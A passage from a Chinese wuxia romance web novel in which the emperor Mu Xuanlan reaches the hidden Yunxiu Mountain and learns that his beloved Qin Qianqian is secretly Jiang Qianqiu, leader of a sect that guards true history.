看着那平整又漂亮的拱顶，穆轩岚几乎确定，这一定是人为开凿形成的。他也发现一个更为幽深的通道，其中漆黑寂静，不知道通往哪里。
但穆轩岚的激动盖过了害怕，他手中的火折子的焰火也振奋地跃动两下。他大喜过望，左手执灯右手按在腰际的剑柄上。
有风就证明有出口，而接下来每走的一步路，都有可能遇到埋伏。
这通道中的道路还算平坦，没有明显的上下坡，只不过看这四周的洞壁构造，似乎像是天然形成的。
穆轩岚一边小心翼翼的前进，一边在心中不由的感叹。
若守山派从古至今守护云岫山，是确有此事的话，那他们挑选的这个地方简直是得天独厚。入口极其隐秘，寻常人根本找不到，如果沿途再设几个岗哨，哪怕有误入其中的人也不能活着出去。
只不过，自己走了大约有两炷香的时辰，却一点异样都没发现，这让穆轩岚心中甚至疑惑。
就在此时，他又被脚下的石头绊了一下。
被凹凸不平的地面绊一下也正常，但穆轩岚心中却为此警铃大作。他自小习武，走路抬步也与常人不同，为了稳住身形，他抬起的步伐基本都是固定的。
现如今被绊了一下，不是因为地面突然坎坷，而是由于现在恐怕是在上坡。通道中昏暗，火折子的光有限，若是不被绊一下，穆轩岚还真察觉不出脚下道路的变化。
可眼前只有这一条道，穆轩岚硬着头皮也得往下走。
又走出四五百步，穆轩岚发觉，现在的坡度更为明显，而手中火苗跃动的也更加频繁——看来出口就在眼前。
他来不及想自己走出出口时，会遇到什么情况？只一个劲的往前赶。在激动和疲惫的加持下，穆轩岚现在呼吸有些不顺畅。
向来笔直的路，突然出现了一个转弯，这让穆轩岚有些紧张。
他放缓步伐，悄悄转过那个弯道，映入眼帘的是一个四四方方的山洞，原本的路在这里一份为三——三个洞口的模样形状一模一样。
果然，怎么可能轻轻松松就让自己摸到云岫山呢？穆轩岚心中嗤笑一声，便上前查看三个洞口的情况，走近才发现端倪。
最左侧的洞口边，有人放置了一株小臂长的仙草，与当初穆轩岚在京都见过的完全相同。
难不成，姜千秋在给自己引路？还是说这是赤裸裸的陷阱……
穆轩岚现在确信，姜千秋一定知道自己在彻查此事，而他见过仙草也不是什么秘密的事情。也就是说，自己能够轻易到这里肯定是有姜千秋授意的。
只不过，自己该信她，还是不该信她呢？
思虑片刻后，穆轩岚决定相信她。就像秦千千相信像千秋一样，穆轩岚觉得要赌一把，赌姜千秋不会是一个坏人。
哪怕赌输了，最坏的结果他也能接受。穆轩岚攥紧自己腰际的刀柄，随时做好防守的准备。
沿着那条分叉路，估摸着又走了半个时辰。虽然眼前依旧是大差不差的通道，但穆轩岚觉得四周渐凉，自己似乎是要接近出口了。
在这里走了这么久，穆轩岚也渐渐适应了这有些窒息的氛围，他继续步伐不停的往前走，直到眼前出现了一个亮点。
那亮点越来越大，越来越大。
还有几步就要出通道时，穆轩岚却站定在原地。
这不是自己的幻觉——眼前的洞壁上，长满了会发光的苔藓。右侧洞壁上，有一巴掌那么大一块，光微弱一些，苔藓看着也嫩一些，毋庸置疑，这就是那死者碰过的地方。
穆轩岚往外看去，洞外月光清明，照的他能看到对面很远的台阶。外面的风呼呼作响，除了风声，他什么也听不到。
或许，这就是传说中的云岫山。
他悄无声息地踏出洞口，脚下踏着某种野草。说是野草，可那些草高度相当统一又十分平整，看起来十分赏心悦目。
环顾四周，他发觉脚下是一块巨大的平地，应该是某座山的山顶。因为放眼远眺，便能看到满天星河，唯一突兀的便是平地尽头，对面那几乎要通天的石阶。
看到月光下，闪着莹白色光芒的石阶，穆轩岚震惊到在原地愣了好久。夜间山雾弥漫，绵延不尽的阶梯在雾中若隐若现，看起来的确像传说中的云岫仙山了。
四下孤寂无人，穆轩岚便灭了火折子，他放下所有戒备，往那石阶方向走。
既然自己安全到达这里，那就说明姜千秋目前还不想要了自己的命。
走了四五百步才走到那山阶脚下，穆轩岚抬头顺着阶梯往上看，数不清的阶梯尽头，似乎站了一个人。他看不真切，而且山风从耳边呼啸而过，让他听不清山上的动静。
穆轩岚什么也没有说，只是站在原地等待。他猜，下来的一定是姜千秋。
而他也不打算再往上走，追寻这么些年，眼看目标就在眼前，穆轩岚却突然累
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了。他就转身坐在第三阶阶梯上，背身等那人下来。
找到瀑布后的洞穴时，穆轩岚心情澎湃，可现在他却心若止水，甚至越过当下，在想过后要怎么跟千千解释？
想到千千，他弯起嘴角浅浅笑着。
也不知她在叁余坊的事情处理完没有，听到自己直接杀到了姜千秋的老家，她是会惊讶还是会愤怒呢？
还是说，她知道此事……
不过都无所谓了，不管她什么反应，自己回去后一定要把这事告诉千千。
“我就知道，最终只会是你一个人找到这里。”姜千秋的声音跟山风一样冷冽。
虽然从远处传来，听得不太真切，但穆轩岚记得，这就是姜千秋的声音。她语气中的那份遗世独立的疏离，是寻常人模仿不到的。
听她这么说，穆轩岚无奈的摇摇头。
“阁主果然能算到一切事情，那不妨请阁主，为我解答一下心中的疑惑。”
他心中的疑惑太多了，关于守山仙人、关于姜千秋的大业、关于自己知晓一切后，能否活着回去、关于她为何不让千千与自己婚配……
一桩桩一件件，穆轩岚不知道自己该从何开口。
那便把问题，交给无所不能的姜千秋吧。
彼时他还听不到姜千秋的脚步声，穆轩岚也不着急回望，他知道，姜千秋若有意，早就给自己下了什么药，又是让自己看不清她面容的那种。
事到如今，这些也无所谓了。
“陛下既然登门造访，那我自然愿意为陛下答疑解惑。”
或许是胜券在握，穆轩岚现在的心情放松极了。他抬起左腿，踏在第二阶梯上，手肘撑在膝盖上，两手则是把玩着那小小的火折子。
姜千秋这么叫自己，又让他想起了千千。
难不成，千千的说话习惯，也是效仿姜千秋的？不过想来也不奇怪，她自小肯定都把姜千秋当做榜样模仿的。
穆轩岚也把今晚时不时想起千千的行为，归咎于自己太久没有见到千千，对她的思念，以及隐瞒她的愧疚，还有知道她生病还要远赴百里外的担忧。
总而言之，他现在想赶紧问完这些问题，然后快马飞奔回京。
“我只能说，你不让牧九明来这里是正确的。何谓仙山，何来仙人？像他那般痴狂的模样，大梦破碎之时，便是他彻底失智之日。”
脚步声渐近，穆轩岚的心情也往下沉了一分。
是了，自己不愿让牧九明跟自己一同前来，就是出于这个顾忌。大悲大喜的冲击下，穆轩岚害怕牧九明出问题。
“我知道了。”穆轩岚点头。
若是姜千秋待会儿放自己离开，那他便要想怎么能转移牧九明的注意力了；若是自己要葬身于此，想必姜千秋也会捏造个完美借口，骗过千千……
想到这里，穆轩岚便没有什么后怕了。
“那阁主可否为我讲讲，你们这山中之人究竟在做何事。”之前自己的猜测终归是猜测，穆轩岚想听她亲自解答。
姜千秋无声皱眉，或许是山风吹的眼睛干涩，她微微抬头眨了眨眼睛，这才继续往下说。
192. 云开月明现真情
“你想活着出去？还是想留在这里。”
姜千秋这话，让穆轩岚有些愣住了。不过思虑片刻后，他便懂了话中的意思。
若是之前无情无爱的他，那穆轩岚宁愿听真相，虽死无悔；可惜如今他不敢想，若是自己突然死了，千千会有多伤心……
自己离京前，还答应她要照顾好自己的，怎能陨命至此？这也是穆轩岚，选择不在第一时间看姜千秋长相的原因。
她隐藏了这个秘密这么多年，自己若是先行得知这个秘密，恐怕是完全没有选择活不活的机会了。
为了千千，他必须惜命。
“这么说，我还有活着离开的机会？”穆轩岚语气放松地问道。
他相信姜千秋作为聪明人，一定能知道，自己今日见她这一面，已经能做到了他能给的最大的尊重了。
这次，他等待的时间要比之前都长。穆轩岚猜不准她心中在想什么，便只能耐心等待。
“当然，如果你再不问一个问题的话。”她的语气比先前严肃，昭示着不容反驳的态度。
可穆轩岚既然已经见到了她，别的什么问题都不问也好，最重要的便是他和千千的事情。
穆轩岚表情阴沉地问道：“难不成，这辈子千千只能是你的替身，你就是不能放她自由吗？”
之前千千说她会问主人这个问题，可她告诉自己，迟迟没有得到主人的回应。
但穆轩岚想，或许她得到了回应，只不过是回应无法告诉自己而已。
果然，姜千秋立马回答了他的这个问题。
“你还记得，那时在千千房中看到的黑色尾羽吗？”她不等穆轩岚回答，稍作停顿后，便继续往下说：“其实，那就是我给你们的回应，最好的结局也就是相忘于江湖。”
脚步声越来越清晰，可穆轩岚暄天的心跳声，几乎盖过了那渐行渐近的声音。
“不，绝无此种可能！”穆轩岚当即反驳她，他们两个一定能安然无恙地在一起，姜千秋只是在吓唬他们罢了。“我们断不会如此。”
“是啊，我们本不该如此。”
熟悉的声音传来，让穆轩岚浑身都为之一颤。他感觉自己的五脏六腑都在一瞬间翻涌，簌簌风声也都顷刻远离自己，双耳一阵嗡鸣。
可倾刻间，他就全想明白了。
他左脚蹬着阶面，右手撑住一旁飞速转身站了起来。看着站在四五个台阶之上的秦千千，穆轩岚突然喜不自胜，他笑着轻声问她怎么在这里。
“是你主人叫你过来的吗？”刹那间不知他想起什么，穆轩岚的表情突然有些慌乱。“来这里瞒着你并非我的本意，我本想回去就把这事告诉你的，千千你千万不要生我的气。”
原本该笑着安抚自己的人，却面若冰霜地看着自己，穆轩岚从未见过她看自己的眼神如此疏离。
往常的千千，虽不喜欢过度簪花梳妆，但仍旧喜欢梳不同的发型，搭配不同的珠钗首饰，简洁却也灵动。
可现在眼前的秦千千，只用一根浅色发带束住头发，发丝裹挟着发带随风纷飞。其实山风不大，她素白长袍的衣袂和发丝随风飘扬的幅度也很小，但穆轩岚就是从她周身的气质中察觉出了不同。
潇洒又肃杀。
这是他从未在千千身上，察觉过的气场。
更别说，她现在的眉眼间流露出一丝不忍，与时常心软的千千完全不同。那不忍，更像是洞悉一切苦痛后的悲悯。
高度使然，姜千秋看向他时略微垂眸，半掩的眼帘也遮挡住了她眼中更复杂的情愫。
“或许，我们该重新认识一下。你听说过我的名字，我就是姜千秋。”
虽说她勾了勾唇角，但穆轩岚觉得她并不开心。
他下意识的抬手想要安抚千千，可手却停在了半空。
他们之间算什么呢？想到这里，穆轩岚踉跄着后退两步。
姜千秋负手站在原地纹丝未动。她想，穆轩岚还需要时间去理解现下的情况。而她不介意帮一下穆轩岚。
“秦千千和白邵禾一样都不存在，初见时你算计我，其实我也在算计你。事情本该停在秦千千假死的那一年，那才是最圆满的结局。”
姜千秋知道自己的这些话，对他意味着什么。那些穆轩岚害怕的、不敢承认的、现如今通通化作现实——
他最怕真情掺杂了谎言，而他们的情况，比他害怕的糟糕百倍。
两个人从最初初见时便你瞒我瞒，到现在无可挽回的局面，可以说，两个人没有一个无辜的。
其实她原本的计划不涉及男女情爱，姜千秋只想用计谋和自己经营的清风酒楼，泯灭云岫山在整个世间唯一存在的证据。
可神机妙算的她失手了。
她承认，自己对穆轩岚动了情。
本来她认为寂寥人生几十载，她可以靠忙活正事度过一生。但有了心上人后，她却不这么觉得了。
这也是为何，三年后她会再度出现。她实在不忍心看穆轩岚颓唐至死。
原本的计划彻底失控，穆轩岚就是那最大的意外。
可她现在绝口不提那些心动，只是克制又清醒的跟穆轩岚陈述着事实。刚刚跟他讲述的两人最终的结局，那是姜千秋自己推测出来的。
初见都是错的，更何况其中的心动呢？鉴于这一点，姜千秋觉得两个人不会有什么好下场。
稳住身形后的穆轩岚，一边喘着粗气，一边盯着她的眼神震颤个不停。姜千秋的话，无疑是在他怒火满盛的心中再度火上浇油。
他无语地嗤笑一声，微微张口却只能浅叹一口气，不知道该说些什么。
该愤怒吗？该指责她欺骗自己吗？可哄骗秦千千的计划，明明是自己先动手的……
该害怕吗？毕竟自己最珍重的感情，在顷刻间都化作了泡影……
百感交集的穆轩岚，哑着嗓子从牙缝中挤出了一句话：“千千，别闹了好不好？我们现在立刻回去。”
姜千秋却笑了，往常她的笑容穆轩岚见的不少。可今夜她一直是孤傲疏远的表情，以至于看到她笑时，穆轩岚看恍了神。
这一瞬间让他知道，不管眼前的人究竟是谁，她都是自己的心上人。可显然，姜千秋此时还不明白他的心事。
“若不是你心心念念给她一个名分，此事本可以瞒一辈子的。”给那笑意收尾的，是姜千秋眼底的一丝落寞，穆轩岚没有错过她的神情。
她知道，穆轩岚是爱极了秦千千，所以摒弃万难也要给她一个名分。相同
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的她也爱惨了穆轩岚，所以不忍心他终身都生活在欺骗之中……
是非因果，就要挑明了说。
“不是给她，是给你。”
穆轩岚察觉到她话中的严谨，为了不影响自己的判断，她甚至把千千独立成立另外一个人。
她这般谨慎，看的穆轩岚心都要碎了。
虽然眼前站着的，不再是单纯善良的秦千千，而是智力武力都远高于自己的芳草阁阁主，可穆轩岚敢打赌，在感情这一方面，自己还是要胜她一筹的。
最起码，在眼前的纠结上，他是早早深有体会的。
那时，穆轩岚觉得自己用计骗了千千，虽然达到了自己的目的，可面对千千赤诚的感情时，他却陷入了万分纠结。
秦千千喜爱的是白邵禾。若她知道，自己并非此人时，还会爱着自己吗？
姜千秋双目微睁，眼神不可思议的看着穆轩岚，不再扮演秦千千装傻后，她立马便读懂了他话中的意思。
而穆轩岚为防节外生枝，选择直接把话说开。
“我喜欢的是你，其它的什么都无所谓了。”穆轩岚一步一步走过去，又一阶一阶踏上阶梯，走到姜千秋下面一阶时才停住。
他目光赤诚地看着姜千秋，语气坚定地跟她说道：“你现在所遭受的心里折磨，我当初也都经历过，所以我可以肯定的告诉你，不管你是姜千秋还是秦千千，我爱的只有你一个。”
穆轩岚深情地说着那些话，他脑海中浮现的是，姜千秋对自己体贴入微的照顾。
现在倒过去想来，云岫山频频露出破绽之时，便是自己笃定的要求给千千名分之后。说不定，就是姜千秋在故意露出破绽，引他查到这里，再顺势告诉自己真实身份。
如果说这是穆轩岚的猜测的话，那从他进入瀑布后的通道开始，便直白地能察觉到姜千秋对他的偏爱。
撤去通道中的哨岗、在岔路口给自己留下记号、甚至傻傻的以为两个人要决裂时，还先帮自己解答了疑虑……
穆轩岚心中一片柔软，只要知道她是爱自己的，那其它的一切都无所谓了。
他们之前已经兜兜转转错过了太多时间，穆轩岚不想因为这些事情，再影响两个人厮守余生了。
姜千秋眼眶微湿，现在的情况与她所想完全不同。
她以为真相昭彰之日，就是两人反目成仇之时，接着再大打出手。毕竟自己都……
穆轩岚伸手想把姜千秋拥进怀里，他语气极尽温柔。
“如果你实在过意不去，你也说了，我们可以重新认识一下。”他双手绕过姜千秋身侧，面带笑意继续说道：“久闻阁主大名，在下是穆轩岚。”
谁知，姜千秋却一手抵住他的胸膛，可惜穆轩岚的手过于轻车熟路，刹那间便环上了她的后腰。
自然也摸到了姜千秋背在身后的长剑。
“你……”他有些不知所措的感叹，穆轩岚这才恍然大悟，怪不得她一直背着手，原来是带着武器来的吗？
不等姜千秋再说什么，穆轩岚一手扣住她攥住武器的手，另一只手扣住了她的脑后，做了这世间第一个偷袭姜千秋，并且还活下来的人。
他用那热切又不容拒绝的一个吻，打消了姜千秋的全部疑虑。
193. 前所未有的坦诚
“所以说，我也不能去上面坐坐？”穆轩岚笑着问姜千秋。
其实最重要的，不是上不上去，而是他心中有了一个猜测——既然她能带着武器下山，而她又确很早就知道自己要来的事情，那么说不准，山顶的那些族人已经被转移了。
姜千秋的表情突然严肃起来，她眉头微皱。
穆轩岚从今晚看到她的第一眼便发现，寻常这些深奥的表情，从来不会出现在秦千千脸上。
别说出现了，哪怕现在就是想想，他也觉得奇怪。可自从知道她是姜千秋后，这一切又都合理了起来。
“按照规法来说，自然是不行的。不过，族长同意你进去。”
“族长……那又是谁？”穆轩岚不解地问道。
他原本以为，姜千秋已经肝脑涂地到这般程度，整个族人应该唯她马首是瞻才对，怎么还有族长？
姜千秋得意地抬了下眉尾：“族长自然就在你眼前。况且把所有族人都迁出去的契机不多，现在带你上山看看也无妨。”
他发觉，姜千秋看自己的眼神，还是有些不自然，完全不似千千平时看他的那样。
想到这里，穆轩岚便想跟她快速熟络起来。
“之前我的假名，是从我的姓氏——穆字拆解得来的。现在看来，秦千千这个名字，也是你故意为之的吧。”
穆轩岚专门挑一些轻松的话题，姜千秋不知道想到什么，脸上带了些许笑意。现如今，她也没有必要瞒穆轩岚什么，便直接跟他解释了。
“当然。在姜千秋这个名字响彻江湖后，我必须要想一个足够不起眼的名字，才能隐藏住我的真实身份，这才捏造了一个姓秦名千千的人。”
终于能坦诚沟通后，穆轩岚笑着点了点头，其实不管她起什么名字，自己第一个怀疑的，便是姜千秋和秦千千是同一人。
只不过，她平时的行事作风太过滴水不漏，这种可能被自己排除了。
比起后之后觉的胆寒，穆轩岚心中更多的，是对她的佩服和赞叹。
如果说，原来叱咤江湖的芳草阁阁主，让他心生畏惧的话；面对站在眼前鲜活的姜千秋时，穆轩岚觉得，自己怎么夸都不够。
“千秋，其实我之前就想说，这名字的寓意真好。”其实两个人本不需要熟络什么，因为他们本身就亲密无间。穆轩岚也不再忌讳什么，而是跟她提起自己最想知道的事情：“所以你在干的事情，真的是要传承千秋万代的吗？”
事到如今，他觉得姜千秋也不会再瞒他。既然她都能带自己上山，那解释剩下的一切，应该也不是问题。
穆轩岚是真的很好奇这件事情，他想知道，云岫山中的人到底在干嘛？如果之前真如自己推测的那般，穆轩岚等不及想告诉她，自己愿意无条件帮助她。
姜千秋也不藏着掖着，大大方方的讲起了守山派的历史。
“你是皇帝，应该没有人比你更懂帝王心术了吧？”她眼神有些沉重地看向穆轩岚，似乎即将讲述一些很悲痛的事情。
穆轩岚紧了紧两人交握的手，聊表慰藉。
“难不成你们记录历史的事情，还跟哪个皇帝有关？”
姜千秋欣慰地笑了。她知道穆轩岚聪明，可根据自己的一句话便能想到这个程度，还是让她很讶异。
最开始提出这个想法的，其实是一个已经消失在历史中的朝代。那国主聪慧，他聚集了一群能人，让她们记录当朝当代的事情——那就是守山派。
其实那时并不叫守山派，而是叫守真派，守的就是真正的历史。她们的职责，便是不许别人篡改、毁坏历史。
后来国主离世，他的儿子便继承大统。
可后来奸臣弄权，他们辅佐一个傀儡，顶替了原来的皇帝。前两位国主呕心沥血治理的国家以及各项政绩，悉数被推翻。
守山派也免不了被迫害，但她们毕竟是身怀绝技的能人，于是在察觉事情不对前，就离开这个国度，去寻求别的国主庇佑。
听到这里，穆轩岚神色凝重，他察觉到一丝不对。守山派在此事上一点错都没有，但她们就像怀璧其罪的人，她们要坚守的事情，会遭到很多当权者的妒忌。
比如那弄权的奸臣，肯定想抓住守山派，让她们修改历史。毕竟谁不想，用很小的代价，就让自己名垂青史呢？
这么看来，不管守山派逃到何处，身边都免不了腥风血雨。除非，远离朝堂。
“原来，这才是你们选择躲在深山荒野中的原因吗？”穆轩岚恍然大悟。
姜千秋是一个很沉默的人，不是她主动选择沉默，而是她知道的事情，都不能说与别人听。现如今，终于能跟自己的体己人说心里话，她不再藏着掖着。
“是这样，可那时的先祖们没有参透这一点。她们花了将近三百年，经历了几代人的磨难，才懂了这世间没有人靠得住。”
她眼底尽是悲凉，短短几个字，道尽了无数人的心酸往事。穆轩岚停住步伐，转身把她环进怀中。
他知道，她肯定知道更详细的前尘往事，而往事重提的痛苦，是自己难以感同身受的。
“好了，我不会让这种事情再发生的。”他轻拍她的后背，声音很是温柔，“若你信得过我，我会帮你守住这里的秘密的。”
听着他小心翼翼的措辞，姜千秋浅笑出声：“你当然要这么做，不然，本族长可是要被长老们收拾的。”
最初认识秦千千时，穆轩岚承认，她给自己带来了很多惊喜，让自己在套路她之外，有了想了解她的意思。而穆轩岚把这个，看作是他对千千心动的开始。
本以为自己对她已经足够了解了，结果现在又得知她的真实身份，那种按捺不住的好奇心，现在又是铺天盖地的席卷而来。
穆轩岚不由得感叹：“鉴于你骗我骗的那么久，我得好好惩罚你一下。”
姜千秋从怀中抬头望着他，她的眼底，有穆轩岚熟悉的不解、疑惑，也有穆轩岚不熟悉的傲然——他想，这应该是独属守山派掌门人的气质吧。
这比平时天真懵懂的秦千千，更吸引他。
他忍不住想立马知道，姜千秋的过往究竟如何，是什么造就了现在的她。
“悉听尊便。”她答应的倒快。
看着她波澜不惊的处世态度，穆轩岚真是满意极了。毕竟，这也是她信任自己的表现，知道自己不会怎么难为她。
穆轩岚心里甜的灌了蜜一般，他干脆拉着她坐在石阶上，把
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自己手中，拿着她的佩剑也放在了两人身后。
“千秋，跟我说说你吧。你又是在什么契机之下，成就了这般传奇的人生呢？”
比起坦白自己的过往，姜千秋首先跟他讲述的，便是她为何要一改隐世做派，重出江湖。
“简单的一个字，为了钱。”
守山派不愿为了任何一个帝王更改真正的历史，自然也就得不到帝王供应她们的钱。
经历那三百多年的蹉跎后，守山派的先祖们也明白，若想恪守本心，那留给她们的，便只有一条路——自力更生。
于是，守山派逐渐划分为两脉：一脉生活于世间，负责经营买卖，记录世间事宜；另一脉则是以五位长老为首的、真真正正的守山派。
“他们负责守护，自古以来留存的典籍，还要整理当朝当代外派之人送回来的资料。”说到这里，姜千秋停了一下，开始扳着穆轩岚的手指，生动形象地跟他讲起避世不出的守山派。
“好比你的这只手，就是真正的守山派。这其中又分为两支，一支负责整理当朝当代的事情，整理编撰好后造册，送入石室金匮——也就是存着古往今来，所有典籍的地方。”
穆轩岚微微瞪大眼睛，他没想到，姜千秋能对自己坦诚至此。这或许是只有她这个掌门，才能知道的事情吧？
而姜千秋的话并没有停止在此。
并拢的小指和无名指，代表了守在石室金匮的一支人；而大拇指和食指，则代表负责当下编撰造册的人；很显然还有一拨人，她还没有说到。
姜千秋的食指轻点他的中指指腹，向来坦诚的她却卖起了关子，让穆轩岚猜猜这些人是干什么的？
“她们的存在，则是机密中的机密，知道此事的不超过十人。”她一脸神秘兮兮地说道。
穆轩岚本来还有些头绪，听她这么一说，那些仅有的头绪也断掉了……
看着他苦思冥想的模样，姜千秋不再卖关子，她指了指自己。
这一派，只她一人而已。
“其实原本的守山派，只有他们两派，而我则是一个惊世骇俗的意外。”
人难免都会有私心。守着金银财宝和绝密典籍的人，自然免不了会起贪念。
于是看透人性的守山派先祖，便在归隐之初，立了死命令——进入石室金匮之人，决计不许认字。
石室金匮中的人，也不与外面的人联系。除了运送饭食和历史造册外，谁也不许靠近石室金匮。
如此这般，才让守山派平稳延续了近千年。
后来出了一个天纵奇才的小孩，她拥有过目不忘的本事，可自小却不被允许认字。
在她人生的前九年，只能与一堆看不懂的书为伍。虽然不懂，但她记下了上面的所有图案。那时的她，还不懂那叫字。
小孩贪玩，便悄悄从封闭的石室金匮中溜了出去，每次也就出去半炷香的时间。时间就这么过去了一年，她不只认识了字，更是融会贯通了典籍中记载的所有事情。
“也就是在那一年，云岫山险些遭受灭顶之灾……”再度谈起这事时，姜千秋的脸上满是感慨，但不悲伤。
毕竟没有那个劫难的话，自己还真没机会出世闯荡呢。
194. 江湖上多了两位诡诈之人
本来山上的日子就够清贫，加上近百年来一直在吃亏空这件事情，更让守山派的情况雪上加霜。姜千秋所说的——险些受灭顶之灾，便是门派眼看就要无以为继了。
那时的姜千秋，处境也十分尴尬。
她不仅识字，还博览群书的事情，被众人知道，长老们正在商议，怎么处置这个千年来第一次触犯禁令的人。
姜千秋自幼习武，再加上又学了通古博今的本事后，在舌战群儒这方面上也没输过谁。对于门派来说，濒临毁灭的现状，却是姜千秋认为证明自己的最好机会。
她借此提议，要下山闯荡，再寻求解救门派之法。
哪怕那时的姜千秋已是文武无双，但顽固守旧、又有恪守避世原则的守山派，怎么会轻易放她下山？就这么又过了三年，她才有得以施展抱负的机会。
“所以当初你闯荡江湖，其实是为了探查这世间的情况，最后突然稳定下来做生意，才是你原本要入世的目的吧？”
听她亲口讲自己的故事，穆轩岚觉得，她波澜壮阔的一生在自己眼前徐徐展开，那远比自己想象的要跌宕、复杂的多。
姜千秋点头，看着穆轩岚有些心疼的表情，她立刻避重就轻地转移话题。
“要劝服那群墨守成规近千年的老顽固们，可整整花了我三年时间。不过好在，还是迎来了这个机会。”
可穆轩岚不是别人，她的转移话题不起作用。
原来在她十三岁时，便要承担起整个宗派的使命，孤身闯荡完全陌生的世间……要知道，那时的她可不是如今名满天下的阁主，她只是一个初出茅庐的小丫头。
穆轩岚越想心中越发心疼，“闯荡江湖，你也吃了不少的苦吧。”
“原来你在担心这个……那你大可放心，除了下山前一晚我彻夜难眠外，其他时候事情都算顺利。”姜千秋不是为了安慰他才这么说的，这就是当时的实情。
守在云岫山中的人，认识字的不会打架，但不认字的个个都是绝世高手。虽隐居于山中，但他们的修习训练，一日都不会懈怠。
其中，武功最高的便是大长老，而姜千秋又是钦定的下一任大长老，再加上本就天资聪颖，又自幼修习武功，她早早便是冠绝云岫山的存在。
“我在云岫山时，便未尝一败，就更别说下山历练了。”姜千秋想起之前的事情，神态便放松下来，“当初闯荡江湖时，的确有人看我年纪小，想要欺负我，可结果你猜怎么样？”
看着她这副怡然自得的样子，穆轩岚算是彻底放了心。只要她不受委屈，其他的一切都好说。
“狠狠把他们揍了一顿？你们门派，不会给你定什么下山的规矩，比如不能杀生，或者肆意杀人什么的吧？”
穆轩岚对守山派知之甚少，但他从别的典籍中知道，这种隐世门派一般都有自己的狗屁规矩……
想到这里，他的心又揪了起来。比起恪守规矩、隐忍度日，穆轩岚更想让当初的姜千秋，快意恩仇、不要受委屈。
姜千秋潇洒摆手，“我下山前长老们特意交代我，保证自己的安全为先，其他的都不重要。所以但凡遇到恃强凌弱之辈，最初我遇到便顺手杀了。”
穆轩岚长出一口气，心想这些老顽固们还算拎的清。
因此，在姜千秋这个名号响彻江湖前，其实江湖上流传的是一个孤傲暴虐的侠客，到处铲除奸恶的事迹。
后来江湖游历的差不多，姜千秋这才开始着手赚银子，也就是那时，她才开始注意自己的名声。
守山派在世间安排的线人，少之又少。姜千秋想赚大钱的计划又需要人手，因此她就又在江湖花了几年时间，去结识忠义之辈。
最初那个小酒馆，虽说是清风酒楼的开端，但在那之前，她已经为此筹谋奔走了好久。
可谓万事俱备，那间小小的酒馆，便是最后的一缕东风。
“此次我和牧九明通过奇闻戏班查到这里，是不是暗中也有你的授意？”
穆轩岚想，她行事作派滴水不漏，怎么会允许奇闻戏班披露那么多事情？一定是她有意听之任之的。
现如今，只差姜千秋自己承认了。
“奇闻戏班还真不是我的人，他们在卖给牧九明仙草后，当夜追杀他们的组织，的确是我派去的。”姜千秋脸上闪过一丝厌恶。
他们如果只是不顾手段敛财的话，她或许不会做到此种境地，可问题在于他们还要不知死活抹黑云岫山，那就怨不得自己动手了。
那夜，姜千秋的确以天价买走了一半的仙草。彼时，她也正想给穆轩岚一些线索，便没有对奇闻戏班动杀心。
可当夜他们匆匆离去，四散逃亡时，其实只是作秀给世人看的，为的就是散播恐惧，抹黑云岫山。
往常若是给姜千秋知道，有人在打着云岫山的名号，在江湖上招摇撞骗，她向来是不放过一个的。
此次任由奇闻戏班蹦达几个月，仅仅是因为她心软，想让穆轩岚查出些什么，借机跟他坦白一切。
但她没曾想，奇闻戏班倒是蹬鼻子上脸，姜千秋便再不忍了。既然他们如此造谣，她当即动了杀心。
坦白完这些事情后，姜千秋看向穆轩岚，眉眼间流露出一丝无奈，但更多的是坦然。
“行侠仗义，除暴安良的是我；但嗜血暴虐、睚眦必报的也是我。”
她却没想到，穆轩岚甚至连一丝讶异都没有，他很坦然地接受了这事，还夸她做的对。
“你是为了自保，也是为了保护你们门派而已，这不怪你。”
看着眼前的人，姜千秋心中一片柔软，果然自己没有看走眼，他的确是可以托付终身的人。
也是直到此刻，她才觉得今夜的坦白，自己赌对了。
“其实在我最坏的预想中，今晚的我们，是要鱼死网破的。你或许是为了那些欺天的谎言，或许是为了你父皇跟我反目成仇，可是你并没有。”
晨光初现，对视的两人更清楚地看到，彼此眼神中的坚定。
穆轩岚一手揽住她肩头，另一手捧着她的面庞，轻轻摩挲着她的脸颊。
“来不及，我们错过了那么多的时间，哪还来得及为往事前尘烦恼。我向来对你是于心不忍的，不管你是机敏又脆弱的秦千千，还是运筹帷幄的姜千秋，”穆轩岚低头跟她额头相抵，满眼深情地继续说道：“我只知道，你是我喜欢的那个人，这便够了。”
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姜千秋满眼疼惜地望着他，两个人各自的经历，确实过于巧了。他当初经历过的痛苦折磨，自己一样也没有落下。
好在这次误会解开，两个人再也不会因为误会分开了。
“轩岚，以后我们再也不会分开了，我向你保证。”
穆轩岚笑得开心。他心想，这可是姜千秋的保证，一定会生生世世都作数的。
在晨光熹微之中，两个人第一次如此坦诚，又全无后顾之忧的相拥在一起，静待天光大亮。
牧九明万万没想到，穆轩岚竟然会去而复返，还带着本该在千里之外的秦千千……
而穆轩岚给出的解释是，他要回京时，正好接到了千千来找自己的消息，于是他便放下京中事务，再度去而复返。
牧九明表情有些异样，准确说，是害怕。他最怕秦千千知道后，让姜千秋知道这里的一切。
穆轩岚看他表情，就知道他在为此担心。便找了借口支开千千，跟牧九明独处。
关上房门后，两人一同落座。
“你什么时候换佩剑了？这剑身的材质和纹样，怎么从来没见过？”
牧九明不合时宜地看到了，桌上放着他随手放下的剑，穆轩岚愣了一下后笑的开心。
这可是姜千秋携带多年的佩剑，也是她昨晚拿着，想要跟自己较量的那把。事实是，两个人后面真的切磋了几招。
起因是穆轩岚想眼见为实，看看名满天下的姜阁主，实力究竟如何？两人没过几招后，以穆轩岚的佩剑被砍断为终。
崩断的剑尖瞬间弹飞，还没落地，姜千秋便以极快的速度，攻破他的左右防守，反手握住剑柄，以外臂抵住一侧剑刃，将那把寒气四射的长剑，架在了穆轩岚的脖子上。
想起当时的情况，穆轩岚还是觉得不可思议。她的每个动作自己都看得清，可防守时却远远来不及，他就那么看着姜千秋冲了过来，但却未伤自己分毫。
而后，他身后当啷一声，那断剑这才落地。
姜千秋笑着挑了下他的下巴，后牵起他的手，把自己的剑送给了穆轩岚。
“这是千千送我的，她见多识广，选中的东西自然是天下独一无二的。”说这话的时候，穆轩岚骄傲的不行。
牧九明也知道，这两人平日里就想着法的对对方好，更别说最近小别，接下来更得黏在一起了……
他对此事倒没有异议，便再度说起心中的顾忌。
“你可千万不要将这里的事情告诉她，我担心……”他话还没说完，穆轩岚便不赞成地朝他摆了摆手。
昨夜他和千秋，已经商议好了糊弄牧九明的计划，现在只需要按部就班告诉他就好。
“千千无意中告诉我，云岫山不在这里，甚至追杀奇闻戏班的人，根本就不是姜千秋派的。”
